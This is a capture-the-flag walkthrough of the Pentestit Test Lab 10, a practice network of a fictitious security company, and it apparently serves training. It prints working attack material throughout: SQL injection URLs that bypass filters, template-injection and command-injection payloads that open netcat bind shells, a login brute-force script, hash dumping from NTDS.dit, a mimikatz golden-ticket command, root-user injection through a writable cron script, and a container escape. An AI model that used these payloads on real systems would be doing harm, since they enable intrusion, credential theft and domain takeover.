Pentestit laboratories have become a tradition for many. Every May and November, another laboratory opens, and thousands of enthusiasts around the world do not sleep for days to be the first to compromise the network of a new virtual bank, software developers, or information security service provider.

On November 25, the next, this time the 10th laboratory , was launched, where participants were asked to break into the network of the fictitious company Global Data Security, a developer of information security software.
')
On December 6, exactly 11 days later, the laboratory was passed by the first participants who were able to get access to each vulnerable node of Global Data Security's network and found special tokens on them - combinations of letters and numbers that need to be entered into the control panel on the Pentestit website .

For those who have not yet had time to do the laboratory - it will be active until May 2017, after which the already announced 11th laboratory will replace it. In the meantime, this article offers a description of all stages of the current laboratory for all those who want to develop their pentest skills and learn more about current vulnerabilities at the end of 2016. The article turned out to be long, but, I hope, interesting.

Connect to the lab

Before you begin, you need to register with the lab, set up a VPN connection and connect to the network of the virtual company Global Data Security.

Register here , and then follow these instructions in order to connect.

For testing, you can install in the Kali Linux virtual machine - a special Linux distribution for pentesters, which has everything you need to work. If you haven't done it yet, now is the time.

We start testing

After registering and connecting, we see the following network diagram:


Before us is the gateway with the IP address 192.168.101.9 - the company's external gateway. Any pentest is useful to start with a passive and active collection of information about the company, its employees, products, services, public sites and subdomains, and much more.

Passive collection of information means that we do not communicate directly with the company's servers, but try to find information in publicly available sources - Google, LinkedIn, data.com, GitHub, and others. Quite often, you can find a lot of interesting things: the names of employees will prompt logins to the internal network, on GitHub you can sometimes find source texts that will help you better learn about the internal structure of products or the infrastructure of a company, and so on.

Unfortunately, in this case, the passive collection of information did not give the desired results (but in the past laboratory , it was very useful in the SSH task), so we turn to the active collection of information, that is, one that involves direct interaction with the company's available resources. .

We collect information

We will start by scanning ports available through the gateway:



It is also useful to scan other TCP ports, and UDP ports: they are often forgotten, and after all many services, such as internal VPN (for example, as in laboratory # 8 ) and others. Let's leave it as an exercise, but for now let's concentrate on the information we have already found.

As a result, we have access to an SSH server, an SMTP mail server, two sites and a web interface for employees in the form of a CommuniGate Pro on port 8100. Let's start with exploring sites.

When you try to go to 192.168.101.9, we get a redirect to the store.gds.lab domain. Apparently, the site is available on this virtual host, and automatically redirects us to it. Add the required line to / etc / hosts:



Just in case, we added gds.lab as well. Now the site is available:


We see that in front of us is a store based on OpenCart:



At the same time, various attempts to attack it (for example, to find XSS or use one of the vulnerabilities found in OpenCart) lead to this page:


Apparently, the site is protected using Web Application Firewall. So, after a bit of intelligence, the following information became known to us:

• The store (apparently, the token store) is based on OpenCart and is available on the virtual host store.gds.lab
• Based on the site it was not possible to determine the exact version of OpenCart
• Any rough attack is blocked by WAF (injection, XSS, brute force directories)
• The folder / admin is available, but simple passwords are not suitable by default.

Let's try to access port 80 using virtual host gds.lab:



Interestingly, another resource is available here - file hosting ownCloud. After examining the source code of the page and the message, we understand that the correct virtual host is cloud.gds.lab. By making the appropriate changes to the hosts file, we get the opportunity to try the login and password:



Fine! Having tried several combinations manually, we see that standard passwords are not suitable. At the same time, we find an interesting feature in ownCloud: it offers to reset the password if the password is incorrect, and depending on whether the required account is present or not, it gives different messages:

If there is no account:



If the account is registered:



The password cannot be picked up, so let's remember the found username and continue to collect information, this time going to the next port - 443.

192.168.101.9 , unfortunately, is not available via https, with a message like this:

An error occurred during a connection to 192.168.101.9. SSL received a record that exceeded the maximum permissible length. Error code: SSL_ERROR_RX_RECORD_TOO_LONG 

Apparently, something with SSL. The site is poorly configured and accessible via HTTP:



Apparently, this is the main website of the company. Let's try to get our first token!

We study the site

After a careful study of the pages of the site, we determine that it is apparently written by the developers of the GDS company, and does not use a ready-made CMS like WordPress.

Given the fact that many vulnerabilities are associated with user input, let's look at the entry points available to us. Find the address:

 http://192.168.101.9:443/post.php?id=1 

If you add one quote at the end, we get a redirect to the main page of the site, and if two - no. Looks like a SQL injection. Having a little experimented, we find that the condition is in brackets:

 http://192.168.101.9:443/post.php?id=1') -- - 

At the same time attempts to add UNION SELECT do not lead to success, apparently, the site has a filter for SQL injection. Let's try to get around it using the standard method with a change of case:

 http://192.168.101.9:443/post.php?id=-1') UNiOn SeLect 1, @@veRsiOn -- - 

We get the table:

 http://192.168.101.9:443/post.php?id=-1') UNiOn seLeCT 1, GrouP_CONcaT(TabLe_nAmE) FroM InfOrMatIoN_scHemA.TabLes WheRe TabLe_sCheMa=database() -- - 

Then the fields:

 http://192.168.101.9:443/post.php?id=-1') UNiOn seLeCT 1, GrouP_CONcaT(ColUmN_nAmE) FroM InfOrMatIoN_scHemA.ColuMns WheRe TabLe_NaME='users' -- - 

And then the login and password hash:

 http://192.168.101.9:443/post.php?id=-1') UNiOn alL (seLeCT usErNAme, pAssWoRd FroM users liMIT 0,1) -- - 

Use hashcat (preferably outside the virtual machine to use the GPU) to recover the password (and I highly recommend the SecLists dictionaries):


Happened! Using dirsearch we find the administrative interface in the / admin folder:



Enter there the found username and password, and get the first token:



SQLMap will help to achieve the same result with the --tamper = randomcase option enabled, but the last query will have to be done manually anyway.

Take mail

While exploring the site, pay attention to all the information found in the research process. It is very important not to stop collecting information and continue to record all the features found.

In particular, on the Contact Us page there is information about two accounts:



And on the main page there is a link to another person:



As a result, we get three accounts for the mail server:

• a.modlin
• s.locklear
• j.wise
• e.lindsey (the password from the site is suitable, but there is nothing in the mail)

Check if one of these users is using a dictionary password:



It turned out to pick a password to the user a.modlin. Let's use the web mail interface on port 8100:



Here is the next token, as well as a letter from Joshua Wise with an Android application and the following contents:

.

Remember this for the future, judging by the IP address and network diagram, this application is useful to us for the ssh-test token.

At the moment we have carefully studied the site (port 443) and used it to get two tokens, in addition, we managed to find two virtual hosts (store.gds.lab and cloud.gds.lab) on the 80th port. The latter are protected by WAF, so despite the abundance of possible options, it was not possible to find vulnerabilities due to permanent locks.

Let's try to get into the internal network and continue from there.

Ssh server

Users often use the same passwords on different services. Let's try to log into the SSH server with e.lindsey, with the password found on the site:



Happened! Nmap is conveniently present on the host, and the entire internal network is available to us. Looking for a token, we understand that not everything is so simple.

On the server there are a lot of interesting things. Among other things, we find:

• many new accounts for / etc / passwd and / home content,
• the source code of the store in / var / www /, from which we determine the version of OpenCart, the password to the local MySQL and the hash of the OpenCart administrator password
• folder / data / users with the rights to enter, but without the rights to the listing.

A very useful post-operation manual for Linux machines is available here . In this case, the privilege escalation on the SSH server was not implied by the lab authors, but in any case it is very useful to examine the contents for additional scripts, configuration settings, websites, tasks in the scheduler, connected file systems, and others.

Taking into account the fact that there is no token in the site configuration, we will concentrate on the / data / users folder.



As you can see, the r bit is missing on it, but the x bit is present, which means you can go in and work with the contents of the folder, but you cannot watch its listing. When we encounter the same task on the web (where directory listing is almost always disabled), we use utilities like dirb or dirsearch, which try to open files using a dictionary, sorting through many combinations. Let's try to do the same here, dictionaries can be used from dirb.

Let's write a small script to recursively try out the necessary subdirectories and files according to the dictionary:

 """Importing os to access file system""" import os PATH = "/data/users/" DICC = "/var/tmp/common.txt" def attempt_path(path): """Check if file or directory exists and print out the result. Return true if directory""" if os.path.isfile(path): print "Found file : " + path return False if os.path.isdir(path): print "Found dir : " + path return True return False def look_for_subdirs(path): """Recursive function to look for dirs""" with open(DICC) as dicc: for line in dicc: curr_path = path + line.rstrip('\n') if attempt_path(curr_path): look_for_subdirs(curr_path + "/") look_for_subdirs(PATH) print "Finished" 

Now you need to prepare a dictionary and upload it to the ssh server. One way is to put the dictionary and our python code on a local web server, and then download them from it using wget.

Take the dictionary from dirb, which in kali is located at /usr/share/dirb/wordlists/common.txt , and add the names of local users, and at the same time the file token.txt (we hope it is somewhere there):





Unfortunately, our IP is not directly accessible from host 172.16.0.8, so we use an SSH tunnel:



There are two points that need attention.

At the beginning, we do remote port forwarding, by calling the remote part “localhost: 80” (that is, on our local Kali machine on port 80) on the local (for SSH server) port 8765. You can call this command line ssh> by pressing the ~ C key combination (holding shift and pressing ~ and then C).

Now our local webserver is available to us on the SSH host. The proxy server is enabled by default on the server, for the local port it should be removed with the unset .

Now everything is ready to run our script:



In the folder /data/users/rross/docs/ found a token and SSH-key rross-a. In addition, we still found the a.modlin user's SSH key. Surely one of them will approach ssh-test. We continue!

Understanding ssh-test

When we found the mail token, the version of the gds-authenticator application became available to us:

.
As can be seen from the letter addressed to Alfred Modlin, he will need two factors to log on to the server - a key or password, and an SSH port number, which is constantly changing. The effectiveness of the second factor is very doubtful, because the open port can be simply found using nmap, but nevertheless we will make this task the intended way for the authors. Extract the apk and extract the classes.dex:



Then we convert dex to jar using the utility of the same name:



And finally, use the JD decompiler to get the source code:

  protected void setAuthCode() { String str = new HOTP().gen("WFLHQEBMJ3XLPDOY", (int)Math.floor(System.currentTimeMillis() / 1000L / 30L), 6); int i = Integer.parseInt(str.substring(-5 + str.length())); if (i > 65534) { i %= 65534; } TextView localTextView = (TextView)findViewById(2131492983); Object[] arrayOfObject = new Object[1]; arrayOfObject[0] = Integer.valueOf(i); localTextView.setText(String.format("%d", arrayOfObject)); } 

As you can see, the HOTP class is used, also available in apk, which is given a seed and milliseconds for the calculation. Let's try to extract the code that generates the port number to learn how to do it, if desired, automatically.



And then compile and run:



There is a port, it remains to write a command that will connect to ssh test in one line. /data/users/a.modlin/docs/key to a local folder, and then use sshuttle to make the internal network accessible from our Kali-machine.

sshuttle (also called a poor man's VPN) uses iptables rules to make internal subnets accessible via ssh tunnels. Connect in this way:



Make a bash script to connect:

 #!/bin/sh ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i key a.modlin@172.16.0.1 -p$(java Main) 

Connect and find the next token:

Attack the blog

Judging by the network scheme, the company's blog is located at 192.168.0.4, a quick scan of the ports confirms the presence of the open 80th port. Connect via sshuttle and see what can be found on the blog:



Looks like a Joomla installation! Check:



And there is. Let's try the recently reported vulnerability in Joomla , which allows you to create an administrator account without authentication. You can use the link exploit, or you can, for example, a module from Metasploit:



Now just go under the desired user:



Find an unpublished article:


And we use its alias in the form of a token, and the blog succumbed!

Parsing captcha

The server with captcha at 192.168.0.7 doesn’t offer very much - just a blank page with a blank image. Having studied the source code a little
page (previously connected to ssh using sshuttle), we can draw the following conclusions:

• The image is generated in the pseudo-randomly named sources subfolder
• The name of the subfolder is saved for each session, and is re-generated for the new session (this is understandable if you change PHPSESSID)
• The picture itself doesn’t work - apparently, some old forgotten development version

None of this gives direct instructions on what to do next. Using dirsearch, we find something interesting:



Based on the contents of robots.txt, we understand that there is some hidden bak file in which, apparently, is the most interesting.



At the same time readme.txt says that the picture is deleted some time after it was generated.

Take the path to the picture from the main page:

 http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/captcha.png 

Since we are looking for a hidden bak file, try replacing the png extension with bak:

 http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/captcha.bak 

Apparently, this is a backup copy of the source code, which says that there is a captcha file with a serialized session, and a backdoor-shell file that accepts commands in the GET parameter of the session and executes them.

Unfortunately, if you go again - the file is no more. Where did he go? Remember the readme.txt: it is deleted after a while. After several attempts, we understand that the file becomes available again after calling on /index.php. Let's make a small loop that will do this for us all the time to keep captcha.bak and other files available:

 while true; do curl -i -s -k -b 'PHPSESSID=et07feiohsrnaf11n0kt31rf83' http://192.168.0.7/; done 

The file is in place again. It remains to apply to ($_SESSION.php)?session=whoami to make sure that we are able to execute the code remotely:



Now we’ll make a bind shell on host 192.168.0.7 on port 1234:

 http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/($_SESSION).php?session=nc -e /bin/sh -nvlp 1234 

And connect to it:



Here is another token!

Taking hall-of-fame

After examining the open ports on 192.168.0.8 we find a site with a description of known hackers and the ability to log in:



It is useful to start by examining the site map, accessible and hidden directories, and attempts to identify available users. Unfortunately, the login form does not work on well-known names.

Attention is drawn to the addresses of the form http://192.168.0.8/index.php?hname=James , since the parameter may be an example of a vulnerability such as LFI (local file inclusion), but attempts to exploit it by substituting system paths do not lead to success. Let us turn to dirsearch and try to find hidden directories:



Among other things, there was an interesting file: /backup/passwords.txt, and the / dev subfolder, closed for basic-authentication. Use these passwords on the login page:



After login, we get the password to the / dev part. Use it to go to / dev:



Inside we get a copy of the external site, but on it the previously suspected hname parameter is vulnerable to Server-Side Template Injection . As you can see, by entering {{7 * 7}} we get the result of operation (49) in the page header - which was calculated on the server. We got RCE.



The attack itself can be studied in detail at the link above, and we will try to make payload in order to create a bind shell. First, let's clarify the username:

        bind shell: http://192.168.0.8/dev/index.php?hname={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("nc -nvlp 1234 -e /bin/sh")}} 

Having connected, we find another token!

We read news

news (192.168.0.5) is another site in Global Data Security that looks like a hall of fame, with the ability to register, log in, recover a password and study internal news.

Login form invites us to enter email and password.


Having tried all known combinations of login and password of already found users (a.modlin, e.lindsey, etc.), we understand that they are not registered - we receive the message wrong e-mail. In this case, an attempt to enter admin@gds.lab leads to another message: wrong password. This means the user admin@gds.lab is registered.

Armed with Burp Suite, we try to find the password for admin@gds.lab, but this does not lead to success. Then again we turn to dirsearch and look for what else is hidden on the news site:



We find the folder / old, and in it the old version of the news site, in which there is an interesting comment that hints at the existence of a “simple user”, that is, user:



Check our guesses. Login to / old does not lead to anything interesting, but if you go under user@gds.lab with the user password to the new news site, we see the following page:



Great, it remains to log in as administrator. We have just learned about the existence of a new page - user_info.php, let's see what is on this account in / old.



After several attempts, we understand that if you try to log in as user admin using this address, you will not be able to log in, but the output of user_info.php will change:

 http://192.168.0.5/old/login_2.php?username=admin&password=admin 

That is, in fact, we entered! However, the new user_info.php now still does not allow us to get inside.

From this we can conclude that the two sites use the same session, and store information about the user in it. Apparently, an attempt to log into / old saves the username in the username field in the session, and simply does not redirect to user_info.php if the password is incorrect (instead of saving the user name only after successfully logging in with the correct password). And although this is enough for the / old site, the new one still uses email, so it’s impossible to enter user_info.php.

Let's try to reset the password for the admin user:

 http://192.168.0.5/password_restore_2.php?email=admin@gds.lab 

Hoping that in the form of a password reset, the programmer made the same mistake (namely, saved an email in the session), we try to save the correct email in the session in order to log in as an administrator.

Total, the whole process consists of the following steps:

• http://192.168.0.5/login_2.php?email=user%40gds.lab&password=user - enter user@gds.lab/user into the new site
• http://192.168.0.5/old/login_2.php?username=admin&password=user - set the value of “admin” as the current user
• http://192.168.0.5/password_restore_2.php?email=admin@gds.lab - set the value of “admin@gds.lab” as the current email address
• http://192.168.0.5/user_info.php - we logged in as administrator

After a successful login, we get a token (cut out in the screenshot below):



And now, the news succumbed!

We get web-control

We begin, as usual, with port scanning, for which we use nmap, conveniently provided to us on the SSH host.


Having studied the 80th port, we find nothing interesting except the form for collecting emails, which, moreover, does not work, and the folder / uploads, in which nothing interesting could be found.

Let's pay attention to the non-standard port 1503. To study it, we will try to connect:

 nc 192.168.0.6 1503 

Apparently, you need to choose a combination of login and password. Having tried the passwords known to us with ssh, hall-of-fame and mail we understand that everything is not so simple, and we will have to write a small script:

 """Sockets""" import socket WEB_CONTROL_HOST = '192.168.0.6' WEB_CONTROL_PORT = 1503 USER_FILE = '/root/pentestit/webc/users.txt' PASS_FILE = '/opt/SecLists/Passwords/john.txt' def recv_until(string, sock): """Receives data from socket until certain string is found""" data = "" while True: tmp = sock.recv(1) if tmp == "": break data += tmp if data.endswith(string): break return data def attempt_login(user, password): """Attempts to log in under a specified account""" # This should not connect every time and should be multi-threaded in an ideal world web_control = socket.socket(socket.AF_INET, socket.SOCK_STREAM) web_control.connect((WEB_CONTROL_HOST, WEB_CONTROL_PORT)) reply = recv_until("Enter login: ", web_control) web_control.send(user) reply = recv_until("Enter password: ", web_control) web_control.send(password) reply = web_control.recv(6) web_control.close() return "Error!" not in reply with open(USER_FILE) as user_file: for user_line in user_file: with open(PASS_FILE) as pass_file: for pass_line in pass_file: if attempt_login(user_line, pass_line): print "Success: " + user_line.rstrip('\n') + ":" + pass_line.rstrip('\n') 

As users, we write out accounts known to us from ssh, and several standard names:

 admin administrator root user k.barth m.howard g.leone j.wise s.locklear e.lindsey a.modlin 

Run the script for execution, and after a while we get the desired result:



Happened! After with the necessary login and password, we understand that we found ourselves in a samopisny tool to run some scripts.

A lot of vulnerabilities associated with poorly verified user input, try to achieve command injection. If the input is passed to the system, we can add an additional command using the separator -;, &, or |. Let's try!



Everything is filtered except |, which apparently was missed by the developers. Using the command | nc -nvlp 1234 -e /bin/sh | nc -nvlp 1234 -e /bin/sh create a bind shell on the web control. Now it remains only to connect and find the token:

 nc 192.168.0.6 1234 cat /var/opt/token.txt 

Token store

As can be seen from the network diagram, the store is represented by two hosts - 172.16.0.4 (production), and 172.16.0.5 (dev). In addition, a copy of the store is located on the ssh host in the / var / www / folder.

After examining the contents of / var / www we draw the following conclusions:

• the latest version of OpenCart is used, in which there are no known vulnerabilities
• in /var/www/config.php we find the password to the local database, on which the store copy is installed; in it we find the admin user password hash - until it is our only hope.

In hashcat recently even had the opportunity to pick up hashes of the OpenCart format. Let's try:

Unfortunately, it is not possible to pick up a password even on a large enough dictionary.

Let's switch attention to store and dev-store - maybe there is an additional hidden file in them, or an old, vulnerable version of OpenCart is used. After some time, we find the SQL injection on the dev-store machine, which was not on ssh or store - apparently, an old version with a vulnerability remained on this server.

To check, we change the hosts file by adding an entry:

 172.16.0.5 store.gds.lab 

And run SQLmap:

 sqlmap -u 'http://store.gds.lab/index.php?route=product/product&product_id=53*' --sql-shell 

We got access to the database on the dev-store. Unfortunately, access to the file system is limited (read / etc / passwd or write something to the file via OUTFILE does not work), so, apparently, the token is right in the database.



And so, the store is taken!

We study win-term

It took the participants more than four days to advance further, although, as usual, the casket just opened. Currently, three tokens remain undisclosed - win-term, win-dc0 and cloud .

Having scanned the ports on the Windows terminal and the domain controller (DC0), we understand that no additional services are open, the Windows version is 2008 R2, and there are no known public vulnerabilities allowing for code execution. Despite this, we can determine that the updates have not been installed for a long time, because you can restart win-term using a vulnerability in RDP . This means that it is probably not so difficult to elevate privileges to the administrator after logging in to the machine.

Searching passwords in the dictionary also does not give the desired result on any of the accounts. Just in case, make sure that the previously found credentials exist in the domain:



Everything is in place.At this stage, we have the passwords of two users - a.modlin and e.lindsey. Let's try to modify the password e.lindsey so that it corresponds to the standard domain policies, and contains large and small letters and numbers. To begin with, let’s make the first letter of the e.lindsey password capitalized:

 rdesktop 192.168.0.3 -u "GDS-OFFICE\\e.lindsey" -p "**********" -r disk:share=/root/pentestit/term -r clipboard:PRIMARYCLIPBOARD 

I managed to connect! Let's try to elevate privileges to the administrator using the known vulnerability MS16-023 . I compiled this code as exe file, but you can also execute it via PowerShell. Run:



In the resulting administrator console, we create a separate user, delete the extra files, and go under the local administrator:

 rdesktop 192.168.0.3 -u "TermAdmin" -p "Admin123" -r disk:share=/root/pentestit/term -r clipboard:PRIMARYCLIPBOARD 

At the administrator, we find the script for connecting an encrypted disk using TrueCrypt with a key. Run:



On the disk X that appears, there is a KeePass base, again with a key:



And in it is the password from the rross account to the cloud, and the long-awaited token:

We get domain administrator rights in win-dc0

Continuing to examine the contents of the terminal, we find the folder with the backup of the domain controller disk: We will



connect the VHD file to the server management console:



Then copy the file Windows\NTDS\Ntds.ditand Windows\System32\config\SYSTEMfrom the newly connected VHD to the local kali machine.



Before proceeding, you need to prepare by installing special utilities for working with NTDS.dit tables: libesedb and NTDSXtract . You can install them in / opt this way:

 cd /opt git clone https://github.com/libyal/libesedb.git cd libese/ apt-get install git autoconf automake autopoint libtool pkg-config build-essential ./synclibs.sh ./autogen.sh ./configure make make install cd .. git clone https://github.com/csababarta/ntdsxtract.git 

Now everything is ready. First of all, extract the tables from ntds.dit using esedbexport:



In the ntds.dit.export directory that appears, use NTDSXtract to extract the hashes:



As a result of executing this command, we will get the nt.john.out file with the extracted hashes in the new dump / folder:



Sometimes You can stop at this if you can recover the password from the extracted administrator hash. In this case, since this is a backup copy, the password is no longer suitable. Therefore, we use the Pass the Ticket (ptt) attack, in which we use the hash of the krbtgt account to generate the so-called golden ticket.

To do this, download mimikatz to the terminal, and run it with administrator rights:



To create a golden ticket, we need the domain SID (obtained using the command lsadump::lsain the screenshot above), the domain administrator account name (obtained from NTDS.dit), the krbtgt account hash (also obtained above) and the names of the groups that the administrator belongs to (standard values: 500, 501, 513, 512, 520, 518, 519).

Using this information, create a golden ticket and apply it:

 kerberos::golden /domain:gds-office.lab /sid:S-1-5-21-421115581-889488229-2938181853 /rc4:1dc9bae0282962e7d761a2eda274e6d7 /id:500 /user:administrator /groups:500,501,513,512,520,518,519 /ptt 

Then we run a separate cmd.exe with the applied ticket, and get access to the C $ resource on the domain controller:



That's the token! At the moment we have full domain administrator rights on this disk, and accordingly we can execute arbitrary code on the domain controller, which usually marks the successful final of any pentest.

In this case, the attack was greatly simplified - there was a backup copy of the domain controller's disks, there was no active attack detection, including the same mimikatz, and the necessary patches were also missing.

The Last Frontier - cloud

We start as usual with port scanning:

Having found the SSH service on port 2222, we try to go there with the rross account and the password found on the terminal.


In any case, after successfully obtaining a token win-term, we have a password with which you can log in to SSH.

Interestingly, every time we get to the server, we get into a different lxc container - from lxc1 to lxc5.



After studying, it becomes clear that you need to raise privileges, because with the privileges of the user rross nothing interesting is available.

On lxc1, a classic error in managing rights was made:



The script clear_nginx_logs.shruns regularly with root rights, and it can be modified by any user. Create a new user in the system:



Here we add a new user in / etc / passwd with the name ff and password 123 (hashed in an obsolete format, for simplicity) with id equal to 0 (root). A minute later we go under this user and get full access to the container: The



user is added, but there is still no token in the container - you need to go outside the container. Recently, the NCC Group published a study on this issue. The example on page 16 is an exploit that can be used to access the file system of the host machine.

Compile and run the file on the container:



Finally, the final, the last token in the token.txt file on the host machine:



The last token is taken!

Pay attention to the file ntdsutil_snapshot.zip - by copying it to your local computer, you can get a backup copy of the files ntds.dit and SYSTEM in another way. We enable the local SSH service and make it available on the container:

 service ssh start 

Then we will do remote port forwarding via SSH:



And copy the file via scp:



Unpacking it, we’ll get the same ntds.dit and SYSTEM for win-dc0:



Lab passed!

All material is presented here solely for educational purposes, so your comments on the passage of the laboratory are welcome - let as many people as possible learn about different ways of solving a particular task.

I wish good luck to those who have not yet had time to go through the laboratory and experience the joy of taking each car on the network.

I want to thank Pentestit for the excellent laboratory - it was interesting, and to thank the reader for reaching this point.

Thank! We are waiting for the 11th laboratory in May 2017.